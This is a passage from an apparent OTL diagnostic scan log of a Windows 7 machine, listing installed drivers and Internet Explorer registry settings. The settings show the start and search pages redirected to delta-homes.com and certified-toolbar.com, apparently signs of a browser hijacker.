DRV - [2009/07/14 01:20:45 | 000,012,368 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\pciide.sys -- (pciide)
DRV - [2009/07/14 01:20:44 | 000,162,896 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\msrpc.sys -- (MsRPC)
DRV - [2009/07/14 01:20:44 | 000,105,024 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\NV_AGP.SYS -- (nv_agp)
DRV - [2009/07/14 01:20:44 | 000,049,728 | ---- | M] (Microsoft Corporation) [File_System | Boot | Running] -- C:\Windows\System32\drivers\mup.sys -- (Mup)
DRV - [2009/07/14 01:20:44 | 000,044,624 | ---- | M] (IBM Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\nfrd960.sys -- (nfrd960)
DRV - [2009/07/14 01:20:44 | 000,041,552 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\mouclass.sys -- (mouclass)
DRV - [2009/07/14 01:20:44 | 000,028,240 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\mssmbios.sys -- (mssmbios)
DRV - [2009/07/14 01:20:43 | 000,013,888 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\msisadrv.sys -- (msisadrv)
DRV - [2009/07/14 01:20:37 | 000,089,168 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\lsi_sas.sys -- (LSI_SAS)
DRV - [2009/07/14 01:20:36 | 000,235,584 | ---- | M] (LSI Corporation, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\MegaSR.sys -- (MegaSR)
DRV - [2009/07/14 01:20:36 | 000,096,848 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\lsi_scsi.sys -- (LSI_SCSI)
DRV - [2009/07/14 01:20:36 | 000,095,824 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\lsi_fc.sys -- (LSI_FC)
DRV - [2009/07/14 01:20:36 | 000,054,864 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV - [2009/07/14 01:20:36 | 000,046,656 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\isapnp.sys -- (isapnp)
DRV - [2009/07/14 01:20:36 | 000,042,576 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\kbdclass.sys -- (kbdclass)
DRV - [2009/07/14 01:20:36 | 000,041,040 | ---- | M] (Intel Corp./ICP vortex GmbH) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\iirsp.sys -- (iirsp)
DRV - [2009/07/14 01:20:36 | 000,030,800 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\megasas.sys -- (megasas)
DRV - [2009/07/14 01:20:36 | 000,015,424 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\intelide.sys -- (intelide)
DRV - [2009/07/14 01:20:28 | 000,453,712 | ---- | M] (Emulex) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\elxstor.sys -- (elxstor)
DRV - [2009/07/14 01:20:28 | 000,198,208 | ---- | M] (Microsoft Corporation) [File_System | Boot | Running] -- C:\Windows\System32\drivers\fltMgr.sys -- (FltMgr)
DRV - [2009/07/14 01:20:28 | 000,070,720 | ---- | M] (Adaptec, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\djsvs.sys -- (aic78xx)
DRV - [2009/07/14 01:20:28 | 000,067,152 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\HpSAMD.sys -- (HpSAMD)
DRV - [2009/07/14 01:20:28 | 000,058,448 | ---- | M] (Microsoft Corporation) [File_System | Boot | Running] -- C:\Windows\System32\drivers\fileinfo.sys -- (FileInfo)
DRV - [2009/07/14 01:20:28 | 000,057,936 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\GAGP30KX.SYS -- (gagp30kx)
DRV - [2009/07/14 01:20:28 | 000,046,160 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\System32\drivers\fsdepends.sys -- (FsDepends)
DRV - [2009/07/14 01:20:28 | 000,022,096 | ---- | M] (Microsoft Corporation) [Kernel | Disabled | Stopped] -- C:\Windows\System32\drivers\crcdisk.sys -- (crcdisk)
DRV - [2009/07/14 01:20:27 | 000,057,424 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\disk.sys -- (Disk)
DRV - [2009/07/14 01:19:11 | 000,297,040 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\volmgrx.sys -- (volmgrx)
DRV - [2009/07/14 01:19:11 | 000,141,904 | ---- | M] (VIA Technologies Inc.,Ltd) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vsmraid.sys -- (vsmraid)
DRV - [2009/07/14 01:19:11 | 000,057,424 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ULIAGPKX.SYS -- (uliagpkx)
DRV - [2009/07/14 01:19:11 | 000,019,024 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\wd.sys -- (Wd)
DRV - [2009/07/14 01:19:10 | 000,055,888 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\UAGP35.SYS -- (uagp35)
DRV - [2009/07/14 01:19:10 | 000,053,328 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\VIAAGP.SYS -- (viaagp)
DRV - [2009/07/14 01:19:10 | 000,032,832 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\vdrvroot.sys -- (vdrvroot)
DRV - [2009/07/14 01:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\System32\drivers\wimmount.sys -- (WIMMount)
DRV - [2009/07/14 01:19:10 | 000,016,976 | ---- | M] (VIA Technologies, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\viaide.sys -- (viaide)
DRV - [2009/07/14 01:19:10 | 000,012,240 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\swenum.sys -- (swenum)
DRV - [2009/07/14 01:19:04 | 001,383,488 | ---- | M] (QLogic Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ql2300.sys -- (ql2300)
DRV - [2009/07/14 01:19:04 | 000,106,064 | ---- | M] (QLogic Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ql40xx.sys -- (ql40xx)
DRV - [2009/07/14 01:19:04 | 000,077,888 | ---- | M] (Silicon Integrated Systems) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sisraid4.sys -- (SiSRaid4)
DRV - [2009/07/14 01:19:04 | 000,043,088 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\pcw.sys -- (pcw)
DRV - [2009/07/14 01:19:04 | 000,040,016 | ---- | M] (Silicon Integrated Systems Corp.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sisraid2.sys -- (SiSRaid2)
DRV - [2009/07/14 01:19:04 | 000,021,072 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\stexstor.sys -- (stexstor)
DRV - [2009/07/14 01:19:03 | 000,180,288 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\pcmcia.sys -- (pcmcia)
DRV - [2009/07/14 01:19:03 | 000,052,304 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\SISAGP.SYS -- (sisagp)
DRV - [2009/07/14 01:19:03 | 000,017,472 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\System32\drivers\spldr.sys -- (spldr)
DRV - [2009/07/14 00:57:25 | 000,272,128 | ---- | M] (Brother Industries Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\BrSerId.sys -- (Brserid)
DRV - [2009/07/14 00:41:15 | 000,586,752 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\PEAuth.sys -- (PEAUTH)
DRV - [2009/07/14 00:17:06 | 000,019,968 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\usbprint.sys -- (usbprint)
DRV - [2009/07/14 00:02:41 | 000,018,944 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\rdpbus.sys -- (rdpbus)
DRV - [2009/07/14 00:01:41 | 000,007,168 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\RDPREFMP.sys -- (RDPREFMP)
DRV - [2009/07/14 00:01:39 | 000,006,656 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\RDPENCDD.sys -- (RDPENCDD)
DRV - [2009/07/13 23:55:24 | 000,031,744 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\modem.sys -- (Modem)
DRV - [2009/07/13 23:55:02 | 000,016,384 | ---- | M] (Microsoft Corporation) [Kernel | Disabled | Stopped] -- C:\Windows\System32\drivers\ws2ifsl.sys -- (ws2ifsl)
DRV - [2009/07/13 23:55:00 | 000,049,152 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\agilevpn.sys -- (RasAgileVpn)
DRV - [2009/07/13 23:54:58 | 000,075,264 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\rassstp.sys -- (RasSstp)
DRV - [2009/07/13 23:54:53 | 000,077,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\raspppoe.sys -- (RasPppoe)
DRV - [2009/07/13 23:54:48 | 000,073,728 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\raspptp.sys -- (PptpMiniport)
DRV - [2009/07/13 23:54:46 | 000,017,920 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\asyncmac.sys -- (AsyncMac)
DRV - [2009/07/13 23:54:40 | 000,011,776 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\rasacd.sys -- (RasAcd)
DRV - [2009/07/13 23:54:34 | 000,078,848 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\rasl2tp.sys -- (Rasl2tp)
DRV - [2009/07/13 23:54:29 | 000,101,888 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ipnat.sys -- (IPNAT)
DRV - [2009/07/13 23:54:29 | 000,058,880 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ipfltdrv.sys -- (IpFilterDriver)
DRV - [2009/07/13 23:54:24 | 000,020,992 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\ndistapi.sys -- (NdisTapi)
DRV - [2009/07/13 23:54:13 | 000,031,744 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\qwavedrv.sys -- (QWAVEdrv)
DRV - [2009/07/13 23:53:58 | 000,104,448 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\pacer.sys -- (Psched)
DRV - [2009/07/13 23:53:54 | 000,036,352 | ---- | M] (Microsoft Corporation) [File_System | System | Running] -- C:\Windows\System32\drivers\netbios.sys -- (NetBIOS)
DRV - [2009/07/13 23:53:51 | 000,009,728 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\wfplwf.sys -- (WfpLwf)
DRV - [2009/07/13 23:53:41 | 000,071,168 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\smb.sys -- (Smb)
DRV - [2009/07/13 23:53:27 | 000,013,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\irenum.sys -- (IRENUM)
DRV - [2009/07/13 23:53:20 | 000,060,928 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\rspndr.sys -- (rspndr)
DRV - [2009/07/13 23:53:19 | 000,048,128 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\lltdio.sys -- (lltdio)
DRV - [2009/07/13 23:52:53 | 000,060,416 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\mpsdrv.sys -- (mpsdrv)
DRV - [2009/07/13 23:52:44 | 000,027,136 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ndiscap.sys -- (NdisCap)
DRV - [2009/07/13 23:52:10 | 000,014,336 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vwifimp.sys -- (vwifimp)
DRV - [2009/07/13 23:52:04 | 000,048,128 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\vwififlt.sys -- (vwififlt)
DRV - [2009/07/13 23:52:03 | 000,267,264 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\nwifi.sys -- (NativeWifiP)
DRV - [2009/07/13 23:52:02 | 000,019,968 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\vwifibus.sys -- (vwifibus)
DRV - [2009/07/13 23:51:43 | 000,093,696 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\bthpan.sys -- (BthPan)
DRV - [2009/07/13 23:51:41 | 000,129,536 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\rfcomm.sys -- (RFCOMM)
DRV - [2009/07/13 23:51:36 | 000,034,816 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\bthenum.sys -- (BthEnum)
DRV - [2009/07/13 23:51:35 | 000,008,192 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\umpass.sys -- (UmPass)
DRV - [2009/07/13 23:51:34 | 000,056,320 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\bthmodem.sys -- (BTHMODEM)
DRV - [2009/07/13 23:51:33 | 000,091,136 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\hidbth.sys -- (HidBth)
DRV - [2009/07/13 23:51:29 | 000,062,464 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\ohci1394.sys -- (ohci1394)
DRV - [2009/07/13 23:51:17 | 000,037,888 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\circlass.sys -- (circlass)
DRV - [2009/07/13 23:51:08 | 000,004,096 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\mshidkmdf.sys -- (mshidkmdf)
DRV - [2009/07/13 23:51:05 | 000,037,888 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\hidir.sys -- (HidIr)
DRV - [2009/07/13 23:50:57 | 000,005,120 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\drmkaud.sys -- (drmkaud)
DRV - [2009/07/13 23:46:55 | 000,012,288 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\MTConfig.sys -- (MTConfig)
DRV - [2009/07/13 23:46:53 | 000,021,632 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\wacompen.sys -- (WacomPen)
DRV - [2009/07/13 23:45:52 | 000,013,824 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sfloppy.sys -- (sfloppy)
DRV - [2009/07/13 23:45:52 | 000,012,288 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sffp_mmc.sys -- (sffp_mmc)
DRV - [2009/07/13 23:45:52 | 000,011,264 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sffdisk.sys -- (sffdisk)
DRV - [2009/07/13 23:45:45 | 000,025,088 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\fdc.sys -- (fdc)
DRV - [2009/07/13 23:45:45 | 000,019,968 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\flpydisk.sys -- (flpydisk)
DRV - [2009/07/13 23:45:35 | 000,079,360 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\parport.sys -- (Parport)
DRV - [2009/07/13 23:45:33 | 000,083,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\serial.sys -- (Serial)
DRV - [2009/07/13 23:45:29 | 000,008,704 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Stopped] -- C:\Windows\System32\drivers\parvdm.sys -- (Parvdm)
DRV - [2009/07/13 23:45:28 | 000,017,920 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\serenum.sys -- (Serenum)
DRV - [2009/07/13 23:45:08 | 000,026,112 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\mouhid.sys -- (mouhid)
DRV - [2009/07/13 23:45:08 | 000,019,968 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\sermouse.sys -- (sermouse)
DRV - [2009/07/13 23:45:08 | 000,008,320 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\mskssrv.sys -- (MSKSSRV)
DRV - [2009/07/13 23:45:08 | 000,006,144 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\mstee.sys -- (MSTEE)
DRV - [2009/07/13 23:45:08 | 000,005,888 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\mspclock.sys -- (MSPCLOCK)
DRV - [2009/07/13 23:45:07 | 000,005,504 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\mspqm.sys -- (MSPQM)
DRV - [2009/07/13 23:45:05 | 000,131,072 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\Dot4.sys -- (Dot4)
DRV - [2009/07/13 23:45:03 | 000,036,864 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\Dot4usb.sys -- (dot4usb)
DRV - [2009/07/13 23:45:01 | 000,006,144 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\beep.sys -- (Beep)
DRV - [2009/07/13 23:25:59 | 000,023,552 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\monitor.sys -- (monitor)
DRV - [2009/07/13 23:25:51 | 000,025,088 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\vga.sys -- (VgaSave)
DRV - [2009/07/13 23:25:49 | 000,026,112 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\vgapnp.sys -- (vga)
DRV - [2009/07/13 23:24:05 | 000,032,256 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\discache.sys -- (discache)
DRV - [2009/07/13 23:23:04 | 000,035,328 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\blbdrive.sys -- (blbdrive)
DRV - [2009/07/13 23:19:21 | 000,021,504 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\hidbatt.sys -- (HidBatt)
DRV - [2009/07/13 23:19:19 | 000,007,168 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\errdev.sys -- (ErrDev)
DRV - [2009/07/13 23:19:18 | 000,014,080 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\CmBatt.sys -- (CmBatt)
DRV - [2009/07/13 23:19:17 | 000,011,264 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\wmiacpi.sys -- (WmiAcpi)
DRV - [2009/07/13 23:15:45 | 000,086,528 | ---- | M] (Microsoft Corporation) [File_System | Auto | Running] -- C:\Windows\System32\drivers\luafv.sys -- (luafv)
DRV - [2009/07/13 23:15:29 | 000,028,160 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\System32\drivers\filetrace.sys -- (Filetrace)
DRV - [2009/07/13 23:14:03 | 000,142,336 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\System32\drivers\exfat.sys -- (exfat)
DRV - [2009/07/13 23:14:02 | 000,148,480 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\System32\drivers\fastfat.sys -- (fastfat)
DRV - [2009/07/13 23:12:08 | 000,016,896 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\nsiproxy.sys -- (nsiproxy)
DRV - [2009/07/13 23:11:32 | 000,035,328 | ---- | M] (Microsoft Corporation) [File_System | System | Running] -- C:\Windows\System32\drivers\npfs.sys -- (Npfs)
DRV - [2009/07/13 23:11:26 | 000,022,528 | ---- | M] (Microsoft Corporation) [File_System | System | Running] -- C:\Windows\System32\drivers\msfs.sys -- (Msfs)
DRV - [2009/07/13 23:11:24 | 000,080,896 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\i8042prt.sys -- (i8042prt)
DRV - [2009/07/13 23:11:15 | 000,070,656 | ---- | M] (Microsoft Corporation) [File_System | Disabled | Stopped] -- C:\Windows\System32\drivers\cdfs.sys -- (cdfs)
DRV - [2009/07/13 23:11:12 | 000,004,608 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\System32\drivers\null.sys -- (Null)
DRV - [2009/07/13 23:11:04 | 000,055,296 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\amdk8.sys -- (AmdK8)
DRV - [2009/07/13 23:11:04 | 000,053,760 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\intelppm.sys -- (intelppm)
DRV - [2009/07/13 23:11:04 | 000,052,736 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\viac7.sys -- (ViaC7)
DRV - [2009/07/13 23:11:04 | 000,052,736 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\amdppm.sys -- (AmdPPM)
DRV - [2009/07/13 23:11:04 | 000,052,224 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\processr.sys -- (Processor)
DRV - [2009/07/13 22:54:14 | 000,026,624 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\hcw85cir.sys -- (hcw85cir)
DRV - [2009/07/13 22:53:33 | 000,012,160 | ---- | M] (Brother Industries Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\BrUsbMdm.sys -- (BrUsbMdm)
DRV - [2009/07/13 22:53:33 | 000,011,904 | ---- | M] (Brother Industries Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\BrUsbSer.sys -- (BrUsbSer)
DRV - [2009/07/13 22:53:32 | 000,062,336 | ---- | M] (Brother Industries Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\BrSerWdm.sys -- (BrSerWdm)
DRV - [2009/07/13 22:53:28 | 000,013,568 | ---- | M] (Brother Industries, Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\BrFiltLo.sys -- (BrFiltLo)
DRV - [2009/07/13 22:53:28 | 000,005,248 | ---- | M] (Brother Industries, Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\BrFiltUp.sys -- (BrFiltUp)
DRV - [2009/07/13 22:13:48 | 001,035,776 | ---- | M] (LSI Corp) [Kernel | On_Demand | Running] -- C:\Windows\System32\drivers\AGRSM.sys -- (AgereSoftModem)
DRV - [2009/07/13 22:02:53 | 000,311,296 | ---- | M] (Marvell) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\yk62x86.sys -- (yukonw7)
DRV - [2009/07/13 22:02:51 | 004,231,168 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\netw5v32.sys -- (netw5v32)
DRV - [2009/07/13 22:02:49 | 000,229,888 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\b57nd60x.sys -- (b57nd60x)
DRV - [2009/07/13 22:02:48 | 003,100,160 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\evbdx.sys -- (ebdrv)
DRV - [2009/07/13 22:02:48 | 000,430,080 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\System32\drivers\bxvbdx.sys -- (b06bdrv)
DRV - [2009/07/13 21:41:34 | 000,002,864 | ---- | M] (Microsoft Corporation) [Adapter | On_Demand | Unknown] -- C:\Windows\System32\WINSOCK.DLL -- (Winsock)
DRV - [2009/07/13 20:50:20 | 000,020,480 | ---- | M] (Macrovision Corporation, Macrovision Europe Limited, and Macrovision Japan and Asia K.K.) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\secdrv.sys -- (secdrv)
DRV - [2009/05/07 04:22:06 | 000,039,808 | ---- | M] (BitDefender S.R.L.) [Kernel | On_Demand | Stopped] -- C:\Program Files\Common Files\BitDefender\BitDefender Threat Scanner\trufos.sys -- (Trufos)
DRV - [2002/08/14 15:03:36 | 000,017,005 | ---- | M] (Adaptec) [Kernel | Auto | Running] -- C:\Windows\System32\drivers\ASPI32.SYS -- (Aspi32)


[color=#E56717]========== Standard Registry (All) ==========[/color]


[color=#E56717]========== Internet Explorer ==========[/color]

IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.delta-homes.com/?type=hp&ts=1433954644&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm06103&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Secondary_Page_URL = [binary data]
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Extensions Off Page = about:NoAdd-ons
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\System32\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Security Risk Page = about:SecurityRisk
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Default_Page_URL = http://search.certified-toolbar.com?si=82443&st=home&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.delta-homes.com/?type=hp&ts=1433954644&z=21e223b3f0c97db3c281da1g7zccaefozzjcktmlma&from=wpm06103&uid=WDCXWD3200BEKT-60F3T1_WD-WX30AA9C2952C2952
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Search,Search Bar = http://search.certified-toolbar.com?si=82443&tid=24086&ver=7.2&ts=1&tguid=82443-24086-1415831173515-804344-b5678&st=chrome&q=
